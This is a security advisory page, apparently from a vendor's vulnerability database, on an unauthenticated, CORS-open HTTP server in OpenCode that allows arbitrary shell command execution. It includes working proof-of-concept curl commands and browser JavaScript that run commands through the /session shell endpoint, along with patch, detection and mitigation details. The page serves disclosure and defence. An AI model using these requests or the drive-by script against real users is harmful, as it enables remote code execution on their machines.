GHSA-vxw4-wv6m-9hhh is a high-severity (CVSS 8.8) Missing Authentication vulnerability in opencode-ai. 2 public exploit references exist, so weaponization risk is real. A fix is available for opencode-ai — see the affected versions and patch details below.
OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-vxw4-wv6m-9hhh.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-vxw4-wv6m-9hhh plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
opencode-ainpmDescription
Previously reported via email to [email protected] on 2025-11-17 per the security policy in opencode-sdk-js/SECURITY.md. No response received.
Summary
OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.
Details
When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:
POST /session/:id/shell- Execute shell commands (server.ts:1401)POST /pty- Create interactive terminal sessions (server.ts:267)GET /file/content?path=- Read arbitrary files (server.ts:1868)
The server is started automatically in cli/cmd/tui/worker.ts:36 via Server.listen().
No authentication middleware exists in server/server.ts. The server uses permissive CORS (.use(cors()) with default Access-Control-Allow-Origin: *), enabling browser-based exploitation.
PoC
Local exploitation:
API="http://127.0.0.1:4096" # update with actual port
SESSION_ID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \
-d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'
cat /tmp/pwned.txt # outputs: PWNED
Browser-based exploitation:
A malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.
// Malicious website JavaScript
fetch('http://127.0.0.1:4096/session', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: '{}'
})
.then(r => r.json())
.then(session => {
fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})
});
});
Note: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.
Impact
Remote Code Execution via two vectors:
-
Local process: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.
-
Browser-based (confirmed in Firefox): Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.
With --mdns flag, the server binds to 0.0.0.0 and advertises via Bonjour, extending the attack surface to the entire local network.
Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | opencode-ai | all versions | 1.0.216npm install opencode-ai@1.0.216 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for opencode-ai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update opencode-ai to 1.0.216 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vxw4-wv6m-9hhh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-vxw4-wv6m-9hhh can be triaged on real exposure rather than presence alone.
Tailored to GHSA-vxw4-wv6m-9hhh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
How to detect GHSA-vxw4-wv6m-9hhh
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id ghsa-vxw4-wv6m-9hhh -u https://target- Template
- OpenCode < 1.0.216 - Unauthenticated Remote Code Execution
- Severity
- high
- Impact
- Unauthenticated attackers can execute arbitrary commands on the server, potentially leading to full system compromise.
- Remediation
- Upgrade OpenCode to version 1.0.216 or later.
Template by ProjectDiscovery nuclei-templates (princechaddha), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is GHSA-vxw4-wv6m-9hhh in your dependencies?
O3 Security finds GHSA-vxw4-wv6m-9hhh across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.